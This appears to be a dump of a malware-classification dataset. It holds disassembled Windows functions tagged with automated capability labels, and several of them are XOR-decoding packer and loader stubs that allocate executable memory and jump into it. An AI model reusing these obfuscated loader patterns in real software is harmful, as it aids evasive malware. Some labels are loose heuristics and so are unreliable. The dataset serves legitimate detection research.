joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4eca7c2e
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
push esi
xor esi, esi
cmp dword [0x4edd1710], esi
mov dword [ebp - 4], eax
je 0x4ecd2d7a
push 0x400
mov dword [ebp - 0x30], esi
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
cmp dword [0x4edd01d8], esi
mov dword [0x4edd1d98], eax
je 0x4eca7c7d
push 0x14
lea ecx, [ebp - 0x2c]
push ecx
push 0x1014
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
je 0x4ecd2d07
movzx eax, word [ebp - 0x2c]
sub eax, 0x31
jne 0x4ecd2d5d
mov dword [0x4edd1d9c], 1
mov dword [0x4edd1710], esi
jmp 0x4ecd2d7a
leave
ret
lea eax, [ebp - 0x34]
push eax
push 0x20019
push esi
push 0x4ecd2d9c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4eca7c86
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
push 0x4ecd2d90
push dword [ebp - 0x34]
mov word [ebp - 0x2c], si
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4ecd2d4f
mov dword [ebp - 0x30], esi
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4eca7c86
dec eax
je 0x4ecd2d6b
mov dword [0x4edd1d9c], esi
jmp 0x4eca7c9d
mov dword [0x4edd1d9c], 2
jmp 0x4eca7c9d
mov ecx, dword [ebp - 4]
mov ax, word [0x4edd1d98]
pop esi
call fcn.4ecfd994
jmp 0x4eca7ca8
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x14fe4291
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3df93dd1
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b66
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x4011b5
pop dword [ebp - 0x30]
mov eax, 0x86a26c66
add eax, 0x799da54f
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xec9fbb60
add dword [ebp - 0x40], 0x61b289eb
mov dword [ebp - 0x3c], 0x17f9c2f8
sub dword [ebp - 0x3c], 0xe5c676b3
mov dword [ebp - 0x38], 0xe509e4ed
sub dword [ebp - 0x38], 0x98bda0bf
mov dword [ebp - 0x34], 0x2959b3e3
sub dword [ebp - 0x34], 0x2959b3e3
lea eax, [ebp - 0x40]
push eax
mov eax, 0x19bb0e78
add eax, 0xe685c1d4
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xe9a35240
sub dword [ebp - 0x40], 0x7530e8ea
mov dword [ebp - 0x3c], 0xd2d16779
add dword [ebp - 0x3c], 0x6e9af9fc
mov dword [ebp - 0x38], 0xaa8326ea
sub dword [ebp - 0x38], 0x4713ba7e
mov dword [ebp - 0x34], 0x9bb2f9e6
add dword [ebp - 0x34], 0x644d061a
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xc9211fe5
add eax, 0x371fb063
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3acc3
push 0
call eax
mov ecx, 0x309cff39
add ecx, 0xcf634e13
xor esi, esi
add esi, eax
mov edx, 0x394e1e79
add edx, 0xc6f39187
add edx, dword [ebp - 0x30]
mov edi, 0x7b1f826b
add dword [ebp - 0x14], ebx
mov ebx, dword [edx]
sub dword [ebp - 0x2c], 0xa0df47ab
xor ebx, edi
xor dword [ebp - 0x2c], 0x8fe500f5
mov dword [esi], ebx
xor dword [ebp - 0x28], ebx
add esi, 0x4f85d317
add esi, 0xb07a2ced
add edx, 0xef495d84
add edx, 0x10b6a280
loop 0x4012d3
add eax, 0x962d74d0
sub eax, 0x962c4ccd
mov ebx, eax
add eax, 0x21a9eb94
sub eax, 0x21a9eb8f
mov ecx, 0x18820188
add ecx, 0xe7bdfe78
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d
Function at 0x3080194f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x308249ec]
jne 0x30801959
repz ret
jmp fcn.3081a014

Function at 0x30807ed2
Capabilities:
Get file attributes

Disassembly:
push 0x58
mov eax, 0x3081ac18
call fcn.3081997e
mov eax, dword [ebp + 8]
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], cx
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.30807c9a
pop ecx
pop ecx
test eax, eax
je 0x30807f69
push str.__
lea ecx, [ebp - 0x64]
call fcn.3081968d
lea ecx, [ebp - 0x2c]
push ecx
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 1
call fcn.3081968d
add esp, 0xc
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.3081968d
push esi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.3081968d
push esi
push 1
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], bl
call fcn.3081968d
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x30807f60
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
or dword [ebp - 4], 0xffffffff
push esi
push 1
lea ecx, [ebp - 0x2c]
and bl, 1
call fcn.3081968d
mov al, bl
call fcn.308199b4
ret
Function at 0x30807f83
Capabilities:
Create directory

Disassembly:
push 0x88
mov eax, 0x3081ac6d
call fcn.3081997e
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp + 0x10]
push str.__
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x8c], eax
call fcn.3081968d
push esi
push eax
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.3081968d
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 2
call fcn.3081968d
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x30807fe2
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
push 0x5c
pop esi
cmp word [eax + ecx*2 - 2], si
je 0x30807ffa
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.3081968d
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x94], esi
or edi, 0xffffffff
mov ecx, dword [ebp - 0x90]
push 1
push dword [ebp - 0x88]
lea eax, [ebp - 0x94]
push eax
call fcn.3081968d
mov ecx, dword [ebp - 0x90]
mov esi, eax
cmp esi, edi
je 0x30808078
sub eax, dword [ebp - 0x88]
push eax
push dword [ebp - 0x88]
lea eax, [ebp - 0x48]
push eax
call fcn.3081968d
push edi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.3081968d
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.3081968d
push 0x5c
push 1
lea ecx, [ebp - 0x2c]
call fcn.3081968d
inc esi
mov dword [ebp - 0x88], esi
jmp 0x308080ac
push edi
push dword [ebp - 0x88]
lea eax, [ebp - 0x48]
push eax
call fcn.3081968d
push edi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 4
call fcn.3081968d
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.3081968d
mov dword [ebp - 0x88], edi
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x308080b8
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
setne byte [ebp - 0x81]
cmp byte [ebp - 0x81], bl
je 0x308080f5
push edi
push 4
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.3081968d
mov ecx, dword [ebp - 0x8c]
push eax
mov byte [ebp - 4], 5
call fcn.3081968d
lea ecx, [ebp - 0x48]
jmp 0x30808153
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0x14], 8
mov dword [eax + 0x10], ebx
jb 0x30808106
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
cmp dword [ebp - 0x88], edi
jne 0x30808009
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
sete byte [ebp - 0x81]
cmp byte [ebp - 0x81], bl
je 0x3080816b
push edi
push 4
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x2c]
call fcn.3081968d
mov ecx, dword [ebp - 0x8c]
push eax
mov byte [ebp - 4], 6
call fcn.3081968d
lea ecx, [ebp - 0x64]
push ebx
push 1
mov byte [ebp - 4], 2
call fcn.3081968d
cmp dword [ebp - 0x88], edi
jne 0x30808009
push ebx
push 1
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.3081968d
mov al, byte [ebp - 0x81]
call fcn.308199b4
ret
Function at 0x30808ae4
Capabilities:
Enumerate process modules

Disassembly:
push 0x20
mov eax, 0x3081ae31
call fcn.30801ee1
push dword [ebp + 8]
xor edi, edi
push edi
push 0x410
mov dword [ebp - 0x14], edi
call dword [sym.imp.kernel32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
je 0x30808b87
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], edi
call sub.psapi.dll_EnumProcessModules
test eax, eax
je 0x30808b87
push 0x20
pop esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
push edi
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.3081968d
push esi
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
push ebx
call sub.psapi.dll_GetModuleBaseNameA
cmp eax, esi
jb 0x30808b62
push edi
add esi, esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.3081968d
cmp esi, 0x208
jbe 0x30808b3d
push dword [ebp - 0x2c]
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR100.dll__mbsstr]
pop ecx
pop ecx
test eax, eax
je 0x30808b7b
mov dword [ebp - 0x14], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.30806a0c
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x30808c2f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x138
mov eax, 0x3081ae8b
call fcn.3081997e
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x138], edi
cmp ebx, edi
je 0x30808d1c
lea eax, [ebp - 0x134]
push eax
call fcn.30808b97
pop ecx
cmp dword [ebp - 0x120], 0x10
mov eax, dword [ebp - 0x134]
mov dword [ebp - 4], edi
jae 0x30808c76
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x13c]
push ecx
push 1
push edi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
jne 0x30808d0a
mov esi, 0x105
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov dword [ebp - 0x140], 0x104
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x144]
push eax
push edi
push ebx
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, edi
jne 0x30808cfe
mov eax, dword [0x30825cd8]
push esi
call dword [eax + 4]
pop ecx
mov dword [ebp - 0x138], eax
cmp eax, edi
je 0x30808cfe
push esi
lea ecx, [ebp - 0x118]
push ecx
push esi
push eax
call dword [sym.imp.MSVCR100.dll_strncpy_s]
add esp, 0x10
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x134]
call fcn.3081968d
mov eax, dword [ebp - 0x138]
call fcn.308199b4
ret
Function at 0x30809222
Capabilities:
Enumerate process modules

Disassembly:
push 0x24
mov eax, 0x3081af3b
call fcn.30801ee1
xor ebx, ebx
push 8
pop esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
push ebx
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.3081968d
push 0x20
pop edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 0xd], 1
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x30]
call sub.psapi.dll_EnumProcesses
test eax, eax
je 0x3080928c
mov eax, dword [ebp - 0x18]
cmp eax, edi
jb 0x30809285
push ebx
add esi, esi
push esi
lea ecx, [ebp - 0x30]
call fcn.3081968d
mov edi, esi
shl edi, 2
jmp 0x30809294
shr eax, 2
mov esi, eax
jmp 0x30809291
xor esi, esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
jne 0x3080925a
cmp dword [ebp - 0x14], ebx
je 0x308092c8
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.3081968d
cmp esi, ebx
jbe 0x308092c8
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, edi
call fcn.3081968d
add ebx, 4
dec esi
jne 0x308092ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.30806a0c
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x407601
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x407610
pop dword [ebp - 0x28]
mov eax, 0x1511bf69
sub eax, 0x14d14959
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x3b544
push 0
mov eax, 0x45df0b6d
sub eax, 0x459e2a95
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x8eedfdd6
sub ecx, 0x8eedadac
xor esi, esi
add esi, eax
mov edi, 0x4ccaf566
add edi, 0xb376465e
add edi, dword [ebp - 0x28]
mov edx, 0xc24e354e
sub edx, 0xb2fcdae2
mov ebx, dword [edi]
xor dword [ebp - 0x14], 0x73eb0b2c
sub ebx, edx
sub dword [ebp - 0x24], 0x1d1ea78f
mov dword [esi], ebx
sub dword [ebp - 4], ecx
add esi, 4
add edi, 0x1a589317
sub edi, 0x1a589313
loop 0x407671
add eax, 0xc1b76ab2
sub eax, 0xc1b63737
mov ebx, eax
add eax, 0xda7480b4
sub eax, 0xda7480af
mov ecx, 0xc024296b
sub ecx, 0xbfe4296b
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret
Function at 0x402800
Capabilities:
Open clipboard

Disassembly:
push ecx
mov al, byte [ecx + 0x14]
test al, al
mov dword [esp], ecx
je 0x402814
mov eax, 1
pop ecx
ret 8
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jg 0x402822
mov edi, 1
push ebp
mov ebp, dword [esp + 0x14]
test ebp, ebp
jg 0x402830
mov ebp, 0xa
push esi
xor esi, esi
test edi, edi
jle 0x40286b
jmp 0x402840
mov eax, dword [0x45d6e8]
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x402874
push eax
push ebp
mov byte [0x45b056], al
call fcn.00401650
add esp, 8
inc esi
cmp esi, edi
mov byte [0x45b056], 1
jl 0x402840
pop esi
pop ebp
xor eax, eax
pop edi
pop ecx
ret 8
mov ecx, dword [esp + 0xc]
pop esi
pop ebp
mov byte [ecx + 0x14], 1
mov eax, 1
pop edi
pop ecx
ret 8
Function at 0x402af0
Capabilities:
Write clipboard data

Disassembly:
push ebp
push esi
mov esi, ecx
mov al, byte [esi + 0x14]
test al, al
jne 0x402b14
push 0x14
push 0x28
call fcn.00402800
test eax, eax
jne 0x402b14
push str.Clipboard::Commit__:_Could_not_open_clipboard_after_many_timed_attempts._Another_program_is_probably_holding_it_open.
mov ecx, esi
call fcn.00402a70
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
jne 0x402b2a
push str.Clipboard::Commit__:_EmptyClipboard___failed.
mov ecx, esi
call fcn.00402a70
mov eax, dword [esi + 4]
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
je 0x402b89
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x402b64
mov dl, byte [ecx]
push ebx
test dl, dl
push eax
sete bl
call ebp
test bl, bl
mov dword [esi + 0xc], 0
pop ebx
je 0x402b64
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov dword [esi + 4], eax
jmp 0x402b89
mov ecx, dword [esi + 4]
push ecx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x402b7d
mov dword [esi + 4], 0
jmp 0x402b89
push str.Clipboard::Commit__:_SetClipboardData___failed.
mov ecx, esi
call fcn.00402a70
mov al, byte [esi + 0x14]
test al, al
je 0x402bb3
mov eax, dword [esi + 8]
test eax, eax
je 0x402ba3
mov edx, dword [esi]
push edx
call ebp
mov dword [esi + 8], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov byte [esi + 0x14], 0
mov dword [esi], 0
pop esi
mov eax, 1
pop ebp
ret

Function at 0x404330
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov al, byte [0x45f169]
test al, al
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetTickCount]
push esi
push edi
mov edi, dword [esp + 0x1c]
je 0x4043c4
mov al, byte [0x45f161]
cmp al, 0xa0
je 0x404358
cmp al, 0x10
jne 0x4043c4
call ebp
sub eax, dword [0x45f16c]
cmp eax, 0x16
jae 0x4043c4
push edi
push ebx
call fcn.00403bf0
mov cl, byte [0x45f168]
add esp, 8
test eax, eax
setne al
test cl, cl
jne 0x404389
call fcn.00403bd0
test al, al
jne 0x404395
jmp 0x4043c4
mov cl, byte [esp + 0x20]
test cl, cl
je 0x40439e
test al, al
je 0x4043c4
mov byte [0x45f160], 1
jmp 0x4043a2
test al, al
je 0x4043c4
mov al, byte [0x45f170]
mov cl, byte [0x45f171]
mov dl, byte [0x45f172]
mov byte [0x45d6fe], al
mov byte [0x45d710], cl
mov byte [0x45d7a0], dl
mov al, byte [0x45d6fe]
mov cl, byte [0x45d710]
mov dl, byte [0x45d7a0]
mov esi, dword [esp + 0x14]
mov byte [0x45f170], al
movzx eax, bl
imul eax, eax, 0x15c
mov byte [0x45f171], cl
mov ecx, dword [0x45f150]
mov byte [0x45f172], dl
mov dl, byte [eax + ecx + 0x150]
test dl, dl
je 0x404419
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
push edx
push eax
push edi
push ebx
push esi
call fcn.00403cd0
add esp, 0x14
mov eax, dword [esp + 0x20]
push eax
push edi
push ebx
push esi
mov byte [0x45f161], bl
mov dword [0x45f164], edi
mov byte [0x45f168], al
call fcn.00403c50
add esp, 0x10
mov byte [0x45f169], al
call ebp
pop edi
pop esi
pop ebp
mov dword [0x45f16c], eax
pop ebx
ret
Function at 0x408000
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [0x45c5a0]
sub esp, 0x800
push ebp
mov bp, word [esp + 0x808]
cmp bp, word [eax]
jb 0x408043
fld qword [0x44f650]
sub esp, 8
fstp qword [esp]
push 0
push 0x10000
push str.Hotkey_ID_too_large
call fcn.00440460
add esp, 0x14
xor eax, eax
pop ebp
add esp, 0x800
ret
mov al, byte [0x45fca8]
test al, al
je 0x408059
mov eax, 1
pop ebp
add esp, 0x800
ret
mov eax, dword [0x45f184]
test eax, eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
jne 0x408070
call esi
mov dword [0x45f184], eax
mov eax, dword [0x45fca4]
inc eax
push edi
mov dword [0x45fca4], eax
call esi
mov edi, dword [0x45f184]
mov esi, dword [0x45fca4]
mov edx, dword [0x45b064]
mov ecx, eax
sub ecx, edi
cmp esi, edx
mov esi, dword [0x45b068]
mov dword [0x45f188], eax
jbe 0x40811d
cmp ecx, esi
jae 0x40811d
push esi
push edx
push esi
push edx
push str.More_than__u_hotkeys_have_been_received_in_the_last__ums.This_could_indicate_a_runaway_condition__infinite_loop__due_to_conflicting_keys_within_the_script__usually_due_to_the_Send_command_.__It_might_be_possible_to_fix_this_problem_simply_by_including_the___prefix_in_the_hotkey_definition__e.g.___d::___which_would_install_the_keyboard_hook_to_handle_this_hotkey._n_nIn_addition__this_warning_can_be_reduced_or_eliminated_by_adding_the_following_lines_anywhere_in_the_script:_nHotkeyInterval__d____Increase_this_value_slightly_to_reduce_the_problem._nMaxHotkeysPerInterval__d____Decreasing_this_value__milliseconds__should_also_help._n_nDo_you_want_to_continue__choose_NO_to_exit_the_program__
lea ecx, [esp + 0x20]
push 0x800
push ecx
mov edi, 1
call fcn.0043c2b0
call fcn.00407fd0
fld qword [0x44f650]
add esp, 0x14
fstp qword [esp]
push 0
lea edx, [esp + 0x18]
push 4
push edx
mov byte [0x45fca8], 1
mov byte [0x45b056], 0
call fcn.00440460
add esp, 0x14
cmp eax, 7
jne 0x408108
push 0
push 0
push edi
mov ecx, 0x45ebb8
call fcn.0041e040
mov eax, dword [0x45f188]
mov byte [0x45b056], 1
mov byte [0x45fca8], 0
jmp 0x408123
xor edi, edi
cmp ecx, esi
jbe 0x408145
test edi, edi
mov dword [0x45fca4], 0
mov dword [0x45f184], eax
je 0x408145
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x800
ret
movzx eax, bp
mov ecx, dword [eax*4 + 0x45f190]
call fcn.00407ee0
pop edi
pop esi
pop ebp
add esp, 0x800
ret

Function at 0x40a050
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x100
lea eax, [esp]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor byte [esp + 0x90], 1
lea ecx, [esp]
push ecx
call dword [sym.imp.USER32.dll_SetKeyboardState]
add esp, 0x100
ret